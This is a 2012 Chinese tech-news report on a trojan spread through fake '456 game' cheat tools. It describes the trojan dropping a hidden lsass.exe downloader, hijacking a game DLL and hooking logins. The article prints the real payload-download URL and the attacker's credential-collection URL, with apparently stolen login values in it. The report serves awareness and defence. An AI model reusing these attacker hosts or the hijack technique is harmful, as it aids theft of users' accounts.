檔案夾
病毒名稱：456游戲木馬
病毒危害：盜竊游戲賬號(hào)余額
病毒級(jí)別：近一個(gè)月感染數(shù)十萬(wàn)臺(tái)電腦
查殺推薦：電腦管家、金山毒霸
大同市民張志春一直喜歡萬(wàn)456游戲大廳中的休閑游戲，不過(guò)最近發(fā)生的一件事情令他無(wú)比郁悶，他的456游戲賬號(hào)被盜了，前幾天充值的100元錢被木馬盜走了。令他想不通的是，木馬不是盯著熱門游戲嗎，為什么連休閑游戲也不放過(guò)？的確，熱門游戲油水更足，不過(guò)競(jìng)爭(zhēng)者也多，想咬一口都得費(fèi)九牛二虎之力。對(duì)餓極了的木馬來(lái)說(shuō)，改行吃素選擇休閑游戲也是一種生存之道，于是456游戲木馬誕生了。
揭秘456游戲木馬的罪行
再拉一個(gè)“禍害”來(lái)
該木馬主要通過(guò)虛假的456游戲外掛傳播，一旦用戶下載并運(yùn)行了捆綁了木馬的456游戲外掛，它就會(huì)在系統(tǒng)盤創(chuàng)建一個(gè)文件夾 （C：WINDOWSaddins），釋放一個(gè)下載程序lsass.exe并設(shè)置其屬性為隱藏，然后通過(guò)該程序下載盜號(hào)木馬（ （http://www.lkly520.com/niuniux.exe）。嘿嘿，自己作惡就不說(shuō)了，還拉幫結(jié)派的來(lái)作惡，企圖盜竊用戶的其他賬號(hào)密碼，例如網(wǎng)銀、QQ等賬號(hào)和密碼。可惡！
456游戲木馬下載其他盜號(hào)木馬
為綁架游戲而竄改文件
接著，該木馬通過(guò)注冊(cè)表搜索456游戲大廳的安裝目錄，向目錄釋放一個(gè)隱藏屬性且被劫持的SkinModuleCHS.dll，當(dāng)456游戲大廳被運(yùn)行時(shí)，SkinModuleCHS.dll就會(huì)被游戲加載，然后生成盜號(hào)主體文件skinodu.dll。說(shuō)白了，就是竄改了456游戲文件，從而將刀架在了脖子上。
456游戲木馬劫持了游戲的DLL
粗暴手段打劫賬號(hào)
最后就是利用鉤子強(qiáng)行截取456游戲的賬號(hào)和密碼，然后通過(guò)IE發(fā)送到黑客指定的收信地址，例如收信地址 http://61.188.38.94:66/post.asp？id1=5617192&d10=willJ1234& d11=1qaz2wsx3edc&d22=&d80=&d31=& mc=06000000000C294B4F88CD0C& hdif=38CAFB8F5C79CF733DDE822911F80A6FF9916124FA77A72C2965911A5940D28EB0E6AAF50203940CB0E6AAF50203940CE33AC6E6836E81FA013224B85112C621CAEC077AC72C2934¶=2012064。
通過(guò)鉤子截取456游戲的賬號(hào)和密碼
剿殺456游戲木馬
騰訊電腦管家是第一個(gè)發(fā)現(xiàn)456游戲木馬的安全廠商，并對(duì)其進(jìn)行了長(zhǎng)時(shí)間的跟蹤和分析，積累了豐富的查殺經(jīng)驗(yàn)。目前，騰訊電腦管家不用升級(jí)就可以查殺該木馬的母體以及子體，也會(huì)阻止該木馬的運(yùn)行。
推薦閱讀
iPhone 5通過(guò)國(guó)家3C認(rèn)證 內(nèi)地上市有望提速
9月26日消息，搜狐IT日前發(fā)現(xiàn)蘋果iPhone5已經(jīng)通過(guò)我國(guó)的3C（ChinaCompulsoryCertification）認(rèn)證，證書編號(hào)為2012011606570253，發(fā)證日期為9月24日，有效期為5年。 iPhone 5型號(hào)介紹，入網(wǎng)很可能是1429不同版本 iPho>>>詳細(xì)閱讀
本文標(biāo)題：大同游戲玩家爆料：餓極了木馬也吃“素”
地址：http://m.sdlzkt.com/a/xie/20120201/115139.html
網(wǎng)友點(diǎn)評(píng)
精彩導(dǎo)讀
科技快報(bào)
品牌展示